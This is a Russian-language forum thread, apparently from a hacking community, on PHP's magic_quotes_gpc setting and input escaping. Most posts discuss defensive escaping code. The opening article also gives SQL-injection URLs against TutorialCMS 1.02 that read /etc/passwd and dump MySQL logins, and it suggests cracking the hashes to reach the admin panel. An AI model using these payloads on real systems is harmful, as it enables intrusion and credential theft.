Статьи Укрощение magic_quotes_gpc

Discussion in 'Статьи' started by -=lebed=-, 14 Jan 2008.

  1. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Укрощение magic_quotes_gpc


    [INTRO]

    В настоящей статье пойдет речь об одном из конфигурационных параметров языка программирования PHP — magic_quotes_gpc. Этот параметр играет важную роль, касающуюся, прежде всего, безопасности функционирования любого веб-приложения, обрабатывающего данные, полученные от пользователя и использующего для их хранения базу данных MySQL.

    [At that affect?]
    Параметр magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы $_GET, $_POST, $_COOKIE). При magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки ("), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция addslashes (выдержка из документации):
    PHP:
    $str "Is your name O'reilly?";

    # выводит: Is your name O\'reilly?
    echo addslashes($str);
    [magic_quotes_gpc 0 or 1?]
    Все, вроде бы, просто. Использование в коде приложения функции addslashes в случае, если заведомо известно, что директива magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид:
    PHP:
    $str "Is your name O'reilly?";
    $str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;

    # выводит при любых настройках PHP: Is your name O\'reilly?
    echo $str;
    [Create function]
    Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид:
    PHP:
    function addslashes_for_array(&$arr)
    {
       foreach(
    $arr as $k=>$v)
       {
           if (
    is_array($v))
           {
               
    addslashes_for_array($v);
               
    $arr[$k] = $v;
           }
           else
           {
               
    $arr[$k] = addslashes($v);
           }
       }
    }

    function 
    fix_magic_quotes_gpc()
    {
       if (!
    get_magic_quotes_gpc())
       {
           
    addslashes_for_array($_POST);
           
    addslashes_for_array($_GET);
           
    addslashes_for_array($_COOKIE);
       }
    }
    # экранирует при необходииости строки в $_GET, $_POST, $_COOKIE
    fix_magic_quotes_gpc();

    Следует заметить, что описанный код учитывает также тот факт, что в переменных $_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк.
    [End of]

    В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль...

    [Example]

    Программа: TutorialCMS 1.02 (возможно и более ранние версии)
    http://[target]/activate.php?userName=[SQL-inj]
    Условие: magic_quotes_gpc = off (при magic_quotes_gpc=1 код не уязвим.)
    Уязвимый код:
    PHP:
    ...........
    $userName $_GET["userName"];
    $code     $_GET["activate"];
    ...........
    $sql "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";
    ...........
    Сайт производителя: www.wavelinkmedia.com
    Скачать TutorialCMS 1.02 http://www.wavelinkmedia.com/scripts/tutorialcms/
    Прмеры запросов:
    1. Читаем /etc/password
    PHP:
    http://[target]/activate.php?userName='+union+select+1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13/*
    2. Читаем логины и пароли:
    PHP:
    http://[target]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,10,11,12,13/**/from/**/mysql.user/*
    Пароль зашифрован в MD5, расшифровываем и пробуем войти в админку:
    PHP:
    http://[target]/admin
    www.controlstyle.ru, www.milw0rm.com
     
    #1 -=lebed=-, 14 Jan 2008
    Last edited: 14 Jan 2008
  2. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Проще всего проверить gpc и если оно включено, то обработать все, убрав его.
    Дальще действовать как и в случае, если админ не долбостук )
     
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Тупое добавление слешей во все параметры это бред. Каждый параметр нужно обрабатывать индивидуально в соответствии с предполагаемым типом. Например, строку перед добавлением в базу прогнать через mysql_escape_string. перед выводом в браузер порезать теги, если это нужно. а это - вырезание гланд через ж..
     
  4. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Я так понял в статье рассматривался вариант написания независимого кода от заначения параметра magic_quotes_gpc, т.е. чтоб код одинаково работал как при magic_quotes_gpc=0, так и при magic_quotes_gpc=1. Всё это касательно получаемых данных из массивов $_GET, $_POST, $_COOKIE.
    PS Цель статьи показать лишь, то что надо не забывать об этом важном параметре, так как видим скрипты пишут в надежде что magic_quotes_gpc=1, а при magic_quotes_gpc=0 скрипт уязвим...
     
  5. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Мда..как Great сказал тут нужно к каждому параметру подходить индивидуально
    PHP:
    $str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str
    Тут надо пояснить что передает параметр $str, если не фицры, то лучше использовать mysql_escape_string, а не addslashes, если же в параметры только цифры, то зачем addslsshes когда хватит intval($str)
     
  6. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Честно говоря, пример с TutorialCMS не слишком удачный. В коде в запросе SELECT стоит выбор одной колонки - activated, в примерах запросов аж по 13 штук. /etc/passwd можно прочитать лишь сами знаете при каких привилегиях. Данные из базы можно прочесть далеко не всегда. И еще возникло впечатление, что прочитав mysql.user и расшифровав пароль, мы получим пасс на админку TutorialCMS o_O
    И, кстати говоря, указанная уязвимость приводит к слепой скуле - на экран ничего не выводится - ни /etc/passwd мы не прочитаем, ни пароли из базы не выцепим.
     
  7. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Пример не с потолка а с milw0rm - эксплоит
    Скачал эту cms, запустил на локалхосте, действительно колонка одна и вывода нет, откуда взялись такие запросы на милворме, для меня загадка...

    по поводу паса на админку - он хранится в таблице users см. exploit.
     
    #7 -=lebed=-, 15 Jan 2008
    Last edited: 15 Jan 2008
  8. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    хе, наверно, скопипастили не то, что хотели на милворм :)
     
  9. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Как-то тут всё сложно...

    PHP:
    function my_evil_func ($func$arr) {
       
    $result = array();  
        foreach (
    $arr as $key => $value)
            
    $result[$key] = (is_array($value) ? my_evil_func($func$value) : $func($value));
        return 
    $result;
    }
    Да и вообще, в большинстве случаев можно обойтись конструкцией вида:

    $var = array_map('addslashes', $_REQUEST);

    И как было замечено - к каждому параметру нужен индивидуальный подход, исходя из типа параметра и того, где он будет использоваться...
     
  10. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    omg, subj...

    Code:
    <?php
    
    function addslashes4array($array)
    {
        $result = array();
        foreach ($array as $key => $value) {
            if (is_array($value)) {
                $result[$key] = addslashes4array(($value);
            } else {
                $result[$key] = addslashes($value);
            }
        }
        return $result;
    }
     
    if (!get_magic_quotes_gpc()) {
        addslashes4array($_REQUEST);
    }
    
    ?>
    Вообще предпочитаю делать наоборот:

    Code:
    <?php
    
    function stripslashes4array($array)
    {
        $result = array();
        foreach ($array as $key => $value) {
            if (is_array($value)) {
                $result[$key] = stripslashes4array(($value);
            } else {
                $result[$key] = stripslashes($value);
            }
        }
        return $result;
    }
     
    if (get_magic_quotes_gpc()) {
        stripslashes4array($_REQUEST);
    }
    
    ?>
    И потом уже отдельно фильтровать данные в нужных мне местах...
     
  11. LokbatanLi

    LokbatanLi Member

    Joined:
    24 Aug 2009
    Messages:
    170
    Likes Received:
    20
    Reputations:
    -10
    a kak znat magic_quote on ili off??
     
  12. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    >>a kak znat magic_quote on ili off??
    в php.ini глянь
     
  13. LokbatanLi

    LokbatanLi Member

    Joined:
    24 Aug 2009
    Messages:
    170
    Likes Received:
    20
    Reputations:
    -10
    ne ponel
     
  14. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Функция ini_get('magic_quotes_gpc') или get_magic_quotes_gpc() выдаст значение этого параметра в php.ini (0 или 1).
     
  15. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    В очередной раз попав в эту тему, совершенно не понял, о чём она.
    То ли я что-то не понимаю, то ли другие... Надо разобраться.

    Чем не нравится двойное экранирование?
    Допустим есть код:
    PHP:
    $name addslashes($_GET['name']);
    $query "SELECT * FROM users WHERE username = '$name'";
    Подаём на вход кавычку.
    При magic_quotes_gpc = Off:
    Code:
    SELECT * FROM users WHERE username = '[color=red]\'[/color]'
    Всё хорошо
    При magic_quotes_gpc = On:
    Code:
    SELECT * FROM users WHERE username = '[color=red]\\\'[/color]'
    Опять всё хорошо - за пределы кавычек выйти не получается.
    Где уязвимость?!

    Насчёт примера вообще непонятно, к чему он здесь - там нет никакой фильтрации, понятно, что без слеширования код уязвим. Казалось бы, тема о безопасном использовании функций слеширования независимо от конфигурации php.

    P.S. Чтоб убедить меня в осмысленности этой темы, напишите, пожалуйста, код, обрабатывающий входные параметры функцией addslashes() и уязвимый при magic_quotes_gpc = On.
     
  16. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    Присоединяюсь,к Root-access ... тоже не нашел в этой статье уязвимости ... если таковая действительно есть, то прошу более компетентных людей показать уязвимый код и эксплуатацию уязвимости. Заранее благодарен.
     
  17. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    + ко всему для PHP 5.3+ добавить перед
    Code:
    @set_magic_quotes_runtime(0);
    @ini_set("magic_quotes_runtime", 0);
     
    #17 PandoraBox, 23 Jan 2010
    Last edited: 23 Jan 2010
  18. GivioN

    GivioN Elder - Старейшина

    Joined:
    30 Mar 2008
    Messages:
    45
    Likes Received:
    10
    Reputations:
    0
    Почему с magic_quotes_gpc=1 код не уязвим? ну экранируются некоторые спец символы, но без них же можно провести инъекцию? или что-то не понимаю?
     
  19. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    из кавычек выйти не сможешь
     
  20. GivioN

    GivioN Elder - Старейшина

    Joined:
    30 Mar 2008
    Messages:
    45
    Likes Received:
    10
    Reputations:
    0
    А если представить в другой кодировке, например %27 или закриптовать и раскриптовать сразу? или эти функции не будут выполнятся пока не выйдят за ковычку? То есть ситуация на 100% безвыходная?
     
    #20 GivioN, 3 Apr 2010
    Last edited: 3 Apr 2010